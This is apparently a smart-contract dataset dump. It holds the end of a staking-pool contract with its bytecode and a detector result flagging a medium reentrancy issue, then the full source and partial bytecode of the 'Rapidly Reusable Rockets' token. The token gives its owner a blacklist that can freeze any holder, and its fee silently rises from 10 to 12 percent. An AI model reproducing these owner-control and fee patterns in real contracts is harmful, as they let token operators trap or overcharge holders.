function calculateNinetyPercent(uint256 amount)
internal
pure
returns (uint256)
{
return amount.mul(900).div(1000);
}
function notifyRewardAmount() external updateReward(address(0)) returns (bool){
require(rewardCollector != address(0), "RewardCollector contract is not set");
require(msg.sender == rewardCollector, "Only rewardCollector contract can call this method");
require(permitNotifyReward() == true, "Cannot notify until 7 days are completed");
rewardAmount = calculateNinetyPercent(ape.balanceOf(rewardCollector));
rewardRate = rewardAmount.div(duration);
lastUpdateTime = block.timestamp;
starttime = block.timestamp;
periodFinish = block.timestamp.add(duration);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106101a85760003560e01c806380faa57d116100f9578063c8f33c9111610097578063e9fad8ee11610071578063e9fad8ee1461060d578063ebe2b12b14610617578063f2f1857f14610635578063f2fde38b1461067f576101a8565b8063c8f33c91146105b3578063cd3daf9d146105d1578063df136d65146105ef576101a8565b80638da5cb5b116100d35780638da5cb5b146104cf5780638f32d59b14610519578063a694fc3a1461053b578063afffd5b714610569576101a8565b806380faa57d1461043b5780638b876347146104595780638da58897146104b1576101a8565b80633d18b9121161016657806370a082311161014057806370a0823114610371578063715018a6146103c957806379babd2c146103d35780637b0a47ee1461041d576101a8565b80633d18b912146102e95780633d52f593146102f35780633e9482a514610315576101a8565b80628cc262146101ad5780630700037d146102055780630c51dde41461025d5780630fb5a6b41461027f57806318160ddd1461029d5780632e1a7d4d146102bb575b600080fd5b6101ef600480360360208110156101c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106c3565b6040518082815260200191505060405180910390f35b6102476004803603602081101561021b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107aa565b6040518082815260200191505060405180910390f35b6102656107c2565b604051808215151515815260200191505060405180910390f35b610287610bb4565b6040518082815260200191505060405180910390f35b6102a5610bbb565b6040518082815260200191505060405180910390f35b6102e7600480360360208110156102d157600080fd5b8101908080359060200190929190505050610bc5565b005b6102f1610d2c565b005b6102fb610ebd565b604051808215151515815260200191505060405180910390f35b6103576004803603602081101561032b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eeb565b604051808215151515815260200191505060405180910390f35b6103b36004803603602081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ffa565b6040518082815260200191505060405180910390f35b6103d1611043565b005b6103db61117c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104256111a2565b6040518082815260200191505060405180910390f35b6104436111a8565b6040518082815260200191505060405180910390f35b61049b6004803603602081101561046f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111bb565b6040518082815260200191505060405180910390f35b6104b96111d3565b6040518082815260200191505060405180910390f35b6104d76111d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610521611202565b604051808215151515815260200191505060405180910390f35b6105676004803603602081101561055157600080fd5b8101908080359060200190929190505050611259565b005b61057161141b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105bb611441565b6040518082815260200191505060405180910390f35b6105d9611447565b6040518082815260200191505060405180910390f35b6105f76114df565b6040518082815260200191505060405180910390f35b6106156114e5565b005b61061f611500565b6040518082815260200191505060405180910390f35b61063d611506565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106c16004803603602081101561069557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061152c565b005b60006107a3600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610795670de0b6b3a7640000610787610770600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610762611447565b6115b290919063ffffffff16565b61077988610ffa565b6115fc90919063ffffffff16565b61168290919063ffffffff16565b6116cc90919063ffffffff16565b9050919050565b600d6020528060005260406000206000915090505481565b6000806107cd611447565b6009819055506107db6111a8565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146108a85761081e816106c3565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610950576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806121236023913960400191505060405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806121b96032913960400191505060405180910390fd5b60011515610a02610ebd565b151514610a5a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806121676028913960400191505060405180910390fd5b610b5e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b1e57600080fd5b505afa158015610b32573d6000803e3d6000fd5b505050506040513d6020811015610b4857600080fd5b8101908080519060200190929190505050611754565b600b81905550610b7c62093a80600b5461168290919063ffffffff16565b6007819055504260088190555042600581905550610ba662093a80426116cc90919063ffffffff16565b600681905550600191505090565b62093a8081565b6000600254905090565b33610bce611447565b600981905550610bdc6111a8565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610ca957610c1f816106c3565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60008211610d1f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b610d2882611786565b5050565b33610d35611447565b600981905550610d436111a8565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610e1057610d86816106c3565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610e1b336106c3565b90506000811115610eb9576000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eb83382600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118869092919063ffffffff16565b5b5050565b6000610ed762093a806005546116cc90919063ffffffff16565b421115610ee75760019050610ee8565b5b90565b60008073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f52657761726420436f6c6c6563746f7220697320616c7265616479207365740081525060200191505060405180910390fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61104b611202565b6110bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b60006111b642600654611957565b905090565b600c6020528060005260406000206000915090505481565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b33611262611447565b6009819055506112706111a8565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461133d576112b3816106c3565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600554421015611398576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806120d96024913960400191505060405180910390fd5b6000821161140e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b61141782611970565b5050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b600080611452610bbb565b14156114625760095490506114dc565b6114d96114c8611470610bbb565b6114ba670de0b6b3a76400006114ac60075461149e6008546114906111a8565b6115b290919063ffffffff16565b6115fc90919063ffffffff16565b6115fc90919063ffffffff16565b61168290919063ffffffff16565b6009546116cc90919063ffffffff16565b90505b90565b60095481565b6114f66114f133610ffa565b610bc5565b6114fe610d2c565b565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611534611202565b6115a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6115af81611a72565b50565b60006115f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bb6565b905092915050565b60008083141561160f576000905061167c565b600082840290508284828161162057fe5b0414611677576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806121466021913960400191505060405180910390fd5b809150505b92915050565b60006116c483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c76565b905092915050565b60008082840190508381101561174a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061177f6103e8611771610384856115fc90919063ffffffff16565b61168290919063ffffffff16565b9050919050565b61179b816002546115b290919063ffffffff16565b6002819055506117f381600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118833382600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118869092919063ffffffff16565b50565b611952838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611d3c565b505050565b60008183106119665781611968565b825b905092915050565b611985816002546116cc90919063ffffffff16565b6002819055506119dd81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6f333083600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f87909392919063ffffffff16565b50565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611af8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806120fd6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000838311158290611c63576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c28578082015181840152602081019050611c0d565b50505050905090810190601f168015611c555780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611d22576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ce7578082015181840152602081019050611ccc565b50505050905090810190601f168015611d145780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611d2e57fe5b049050809150509392505050565b611d5b8273ffffffffffffffffffffffffffffffffffffffff1661208d565b611dcd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310611e1c5780518252602082019150602081019050602083039250611df9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611e7e576040519150601f19603f3d011682016040523d82523d6000602084013e611e83565b606091505b509150915081611efb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115611f8157808060200190516020811015611f1a57600080fd5b8101908080519060200190929190505050611f80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061218f602a913960400191505060405180910390fd5b5b50505050565b612087848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611d3c565b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b82141580156120cf5750808214155b9250505091905056fe417065417065207374616b696e6720706f6f6c206e6f742073746172746564207965742e4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373526577617264436f6c6c6563746f7220636f6e7472616374206973206e6f7420736574536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616e6e6f74206e6f7469667920756e74696c203720646179732061726520636f6d706c657465645361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565644f6e6c7920726577617264436f6c6c6563746f7220636f6e74726163742063616e2063616c6c2074686973206d6574686f64a265627a7a723158200eab0a68f3f5e5baa5e8271962ee46c0889488e49f851c4f807713235a7e560a64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,224 |
0xd3071e6244a22ed1381739c09b38e381bb45cae7
|
// SPDX-License-Identifier: Unlicensed
// https://t.me/RapidlyReusableRocketsETH
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RRR is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Rapidly Reusable Rockets";
string private constant _symbol = "RRR\xF0\x9F\x9A\x80";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610306578063c3c8cd8014610326578063c9567bf91461033b578063d543dbeb14610350578063dd62ed3e1461037057600080fd5b8063715018a61461027a5780638da5cb5b1461028f57806395d89b41146102b7578063a9059cbb146102e657600080fd5b8063273123b7116100dc578063273123b7146101e7578063313ce567146102095780635932ead1146102255780636fc3eaec1461024557806370a082311461025a57600080fd5b806306fdde0314610119578063095ea7b31461017157806318160ddd146101a157806323b872dd146101c757600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152601881527f52617069646c79205265757361626c6520526f636b657473000000000000000060208201525b6040516101689190611a04565b60405180910390f35b34801561017d57600080fd5b5061019161018c366004611895565b6103b6565b6040519015158152602001610168565b3480156101ad57600080fd5b50683635c9adc5dea000005b604051908152602001610168565b3480156101d357600080fd5b506101916101e2366004611855565b6103cd565b3480156101f357600080fd5b506102076102023660046117e5565b610436565b005b34801561021557600080fd5b5060405160098152602001610168565b34801561023157600080fd5b50610207610240366004611987565b61048a565b34801561025157600080fd5b506102076104d2565b34801561026657600080fd5b506101b96102753660046117e5565b6104ff565b34801561028657600080fd5b50610207610521565b34801561029b57600080fd5b506000546040516001600160a01b039091168152602001610168565b3480156102c357600080fd5b50604080518082019091526007815265a4a4a5e13f3560cf1b602082015261015b565b3480156102f257600080fd5b50610191610301366004611895565b610595565b34801561031257600080fd5b506102076103213660046118c0565b6105a2565b34801561033257600080fd5b50610207610646565b34801561034757600080fd5b5061020761067c565b34801561035c57600080fd5b5061020761036b3660046119bf565b610a3f565b34801561037c57600080fd5b506101b961038b36600461181d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c3338484610b12565b5060015b92915050565b60006103da848484610c36565b61042c843361042785604051806060016040528060288152602001611bd5602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611048565b610b12565b5060019392505050565b6000546001600160a01b031633146104695760405162461bcd60e51b815260040161046090611a57565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104b45760405162461bcd60e51b815260040161046090611a57565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104f257600080fd5b476104fc81611082565b50565b6001600160a01b0381166000908152600260205260408120546103c790611107565b6000546001600160a01b0316331461054b5760405162461bcd60e51b815260040161046090611a57565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103c3338484610c36565b6000546001600160a01b0316